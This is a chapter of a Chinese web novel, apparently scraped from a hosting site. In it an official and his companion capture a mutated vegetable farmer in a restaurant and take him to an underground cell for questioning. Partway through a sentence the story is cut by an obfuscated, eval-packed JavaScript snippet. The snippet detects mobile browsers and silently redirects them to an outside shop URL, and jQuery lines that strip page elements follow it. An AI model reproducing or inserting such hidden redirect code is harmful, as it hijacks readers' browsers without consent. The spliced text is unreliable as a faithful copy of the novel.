25.骄矜
作品:《主角怎么这么惨?[快穿]》 单议秋坐着没动,连表情都没变。
紧接着,急促的敲门声响起。
门外传来一个压得极低却难掩紧绷的声音,是单议秋的一名随行下属:“大人,外面有情况,疑似异变体袭——”
“击”字还未出口,谢寒声已经有动作了。
他好像比系统更早感知到了异变者的存在及其方位,此时看都没看门口,直接站起身,与此同时他向后伸手,精准按住了同样预备行动的单议秋的肩膀,将人稳稳按回座位。
“别动。”谢寒声说。
他微微侧身,挡在了单议秋与房门之间。
没有了兜帽的遮挡,谢寒声眼中那圈鎏金色如同被点燃的熔金,光辉中透着遮不住的妖异。
他马上就要出门解决问题,然而还没走两步,袖子就被人从身后扯住,回过头,单议秋仍然顺着他的意思坐在原位。
“别下死手,”他嘱咐道,“带过来。”
谢寒声点点头,出门了。
……
包厢里重新安静下来,单议秋不怎么关注门外发生的事,重新拿起刀叉,切下一块炖得酥烂的牛肉送进嘴里。
[你不出去帮忙吗?]9653的声音响起,建议道,[如果你协助主角共同制服异变者,你们之间的信任与联结程度将有很大可能突飞猛进。]
单议秋慢条斯理地咀嚼完咽下去,才在意识里惊奇地回道:“我们两个的关系还需要突飞猛进吗?”
再突飞猛进下去就不可控了。事实上,刚才谢寒声盯着他看,说出那句“我平静是有原因的”时,单议秋已经隐约感觉事态发展超出了自己的预期。
只是后来被上菜的老板打断,那点异样感才暂时沉了下去。
谢寒声是个快三十岁的成年男性,理智尚存,应该不至于……
单议秋这样想着,叉起一块胡萝卜。
“况且他不需要我帮忙。一个异变者而已,对他来说不会太难。我更想知道为什么异变者会出现在都城。”
这更值得深究。
都城是圣庭心脏,是整个大陆被“美德”与“秩序”浸染最深、教化最彻底的地方。
如果异变现象背后真的存在人为且系统性的操控,那么任何有脑子的幕后黑手,都不会轻易把实验场安置在都城,这无异于把火把丢进自己的弹药库。
这里面或许有蹊跷。
单议秋放下刀叉,端起手边的酒杯。
杯壁入手冰凉,稍微凑近一些,无花果与橡木的醇厚气息漫入鼻腔。单议秋抿下浅浅一口,酒液滑过喉咙,带来温润的回甘。
就在他放下酒杯的同一刻,门开了,出去不过五分钟的谢寒声大步迈了回来。
他气息平稳,衣衫齐整,连发型都没乱,只有眼底那圈鎏金色比刚才更亮了些,残留着动用力量后的余韵。
他手里提着一个人,是个身材中等的男性,此刻神志极不清醒,双目赤红,喉咙里发出嗬嗬的怪响,身体不住地扭动挣扎,却完全没有挣脱的希望。
因为他的双臂被反扭到背后,用一种看起来极其牢固、打结方式特殊的绳子捆得死紧,嘴里更是被塞了一大团布料,塞得严严实实,杜绝了任何嘶吼或撕咬的可能。
谢寒声手腕一甩,将人像扔一袋没什么价值的垃圾般噗通一声扔在包厢铺着地毯的地板上,位置不偏不倚,就在单议秋的椅子前方不远处。
单议秋本来还端着酒杯,见人进来,又扔得这么近,便将原本随意踩在地毯上的双腿轻轻缩起,曲起膝盖,整个人更舒适地蜷进宽大的扶手椅里。
他又啜了一口酒,才垂下目光,打量地上那个还在徒劳扭动的人影。
看了几秒,他微微蹙眉:“我觉得他有点眼熟。”
“是吗?”谢寒声问。
“我认为是。”单议秋说。
正在这时,一直守在门外的下属敲了敲门,随后推开一条缝。
其中一人先探进半个身子,目光迅速地扫过室内,确认安全后才压低声音道:“阁下,有人想过来见您。”
在他身后,餐馆老板那张微胖的脸正小心翼翼地从门缝边缘探出来,眼神里满是紧张和后怕。
单议秋放下酒杯,点了点头。
下属侧身让开,餐馆老板踮着脚,轻手轻脚地挪了进来。
他第一眼就看见了地上被捆成粽子仍在蠕动的人,吓得原地一个激灵,差点跳起来。
“别慌,”单议秋说,“谢团长会保护我们的。”
谢寒声已经不是团长了,平常人这样喊一定是在挑衅,但话从单议秋嘴里说出来,却只让人觉得轻佻戏弄。
因此谢寒声没有再次反驳,而是附和道:“不用怕。”
被两个人来回安抚,老板用手抹了抹瞬间渗出冷汗的额头,镇定下来:“阁下……我认得这个人!”
单议秋蜷在椅子里没动,闻言半挑起眉调转目光,瞧向被束缚的异变者。
对方被谢寒声压着肩胛,脸被迫贴在地毯上,正对着单议秋的方向。
沉默的这段时间里,他似乎积攒起一股蛮力,脖颈青筋暴起,赤红的眼睛死死盯着单议秋,喉咙被布料堵着,从鼻腔发出凶狠的吭哧声,脸上浮现出凹凸不平的暗色纹路,扭曲而丑陋,没有谢寒声好看。
“他经常来给我送菜,”老板声音发颤,尽可能地快速交代,“是城郊的菜农,每天天不亮就拉着车过来,卸完货就走,从不多留,人真挺和善的。我也不知道他为什么这个时间还在城里,还变成这副样子……”
单议秋点点头,表示听到了。
他重新端起酒杯,将里面最后一点深红色的酒液饮尽。
玻璃杯底与桌面接触的轻微脆响,又刺激到了地上的异变者,他的身体猛地一弹,再次试图挣扎。
察觉出他的意图,谢寒声低头呵斥:“老实点!”
他踩在异变者背上的脚甚至没有抬起,只是脚踝向下压了半分,看起来依旧没用什么力,可一声短促哀嚎却从异变者喉咙里挤出,身体瞬间瘫软下去,只剩下剧烈的颤抖,不敢再挣扎。
单议秋瞥了谢寒声一眼:“轻点。”
“我没用力。”谢寒声反驳。
单议秋懒得跟他掰扯,转向守在门口的下属:“外面有造成损害或伤亡吗?”
下属站在门边,摇了摇头:“制止及时,只打破了临街橱窗的三面玻璃,掀翻了两套桌子,没有人员伤亡。”
“知道了,你们去商议一下赔付事宜。吃饱了吗?”
他问谢寒声。
谢寒声“嗯”了一声。
“吃饱了就走。”
单议秋从外套内袋里掏出几枚亮闪闪的银币,丢在铺着洁白桌布的餐桌上。
他望向仍在墙角惴惴不安的老板:“中间那盘焗蜗牛,盐可以再少三分。其他的很好,可以上菜单了。”
“阁下,您不用付钱的……”
老板连忙摆手。
“我愿意付,”单议秋站起身,整理了一下袖口,“都城里能把菜做到这个水准的店不多。好好开着。”
他不再多言,朝谢寒声递了个眼神。
谢寒声弯腰,单手将地上瘫软的异变者重新提起,两人一前一后,在餐馆老板复杂难言的目光和下属的沉默护卫下,径自离开了尚未平息骚动的餐馆。
……
执法团总部地下,第三拘禁室。
空气里弥漫着常年不散的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17278049|197597||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
铁锈味,以及一种更深层的阴冷。
墙壁是厚重的灰白色石材,头顶每隔数米才有一盏嵌在金属网格后的苍白灯光,投下界限分明的光区与阴影。
单议秋示意跟随的几名执法官下属留在厚重的隔离门外,自己则带着谢寒声走进这间空旷的拘禁室。
拘禁室内除了一张固定在地面的金属矮床和几条镣铐外,别无他物。
单议秋环视一圈,到墙边拎出两把备用折叠椅。
他将两把椅子并排放在距离矮床约三米远的墙边,自己先在其中一把上坐下,然后才让守在门口的人进来。
谢寒声提着那个已经陷入半昏迷状态的异变者走进拘禁室,将人随意丢在冰冷的石地上。
甫一接触地面,那人便发出含糊的呻吟,翻了个身,没有苏醒。
谢寒声关上门,在另一把椅子上坐下,跟单议秋肩膀贴着肩膀。
他靠进椅背,目光有些放空,似乎在出神,也可能是在思考自己是怎么走到今天这一步,从而怀疑起自己所有的人生选择是否正确。
单议秋也没有立即动作,和谢寒声一起静静地盯着地板,一言不发。
拘禁室里只剩下异变者粗重而不规律的呼吸声,以及远处隐约规律的水滴声。
过了大约两三分钟,单议秋才开口:“他怕你。”
谢寒声的思绪被拉回,他侧头瞥了一眼地上那团微微发抖的身影,又转回头,语气没什么起伏:“现在不怕我的人比较少。”
“我不是这个意思。”单议秋说,目光仍落在那异变者身上,“他现在没有神智,只剩攻击本能。但他怕你,因为他能感觉到你比他强。”
谢寒声沉默了片刻。
他想了想,才迟疑地开口:“……谢谢?”
单议秋短促地笑了一声,没什么温度。
他的视线扫过异变者被牢牢束缚的四肢。按照圣庭通行的处置规程,到了这个地步,接下来就该是净化处决了。
异变意味着神智湮灭,沦为混沌的载体,无可拯救,这是写在教典里的常识。谢寒声是个意外。
两人一时无话,各自盯着地上那具失去威胁的躯壳。
没过多久,厚重的铁门外传来有节奏的叩击声。
一名下属推门进来,手中拿着一份薄薄的文件夹。他走到单议秋身侧,将文件递上。
“初步核实过了,”下属道,“餐馆老板提供的信息基本准确。他确实是城郊农户,每日凌晨向城中几家固定餐馆输送蔬菜,通常卸货即走,极少逗留。这次滞留原因不明。”
单议秋接过文件夹,问:“他平均每月会在城中额外停留几次?停留时通常会做什么?”
这个问题有些超出常规核查范围。谢寒声本以为下属至少需要回忆或推测,然而对方不假思索地流畅答道:“根据城门出入记录及相邻商户回忆,他通常会在每月中旬停留一次,主要采购生活必需品,偶尔,”
下属顿了顿,补充了一个细节,“会去东街集市,购买一些孩童物件,例如彩色糖果或手工缝制的布偶。”
单议秋的指尖在文件夹硬质的封面上轻轻点了点,这才翻开,目光迅速扫过上面寥寥数行的记录。
“那他的犯罪记录呢?”
“年轻时有过一些小偷小摸,”下属回答,“但都没有被记录在案,属于邻里纠纷私下和解的程度,不至于危害社会安全。”
“既然没有被记录在案,你们是怎么知道的?”谢寒声插嘴问。
单议秋闻言哼笑一声,头也不抬道:“执法团什么都知道。”
“我很确定这个不合法。”
“我的中间名就叫合法。”
谢寒声:“……”

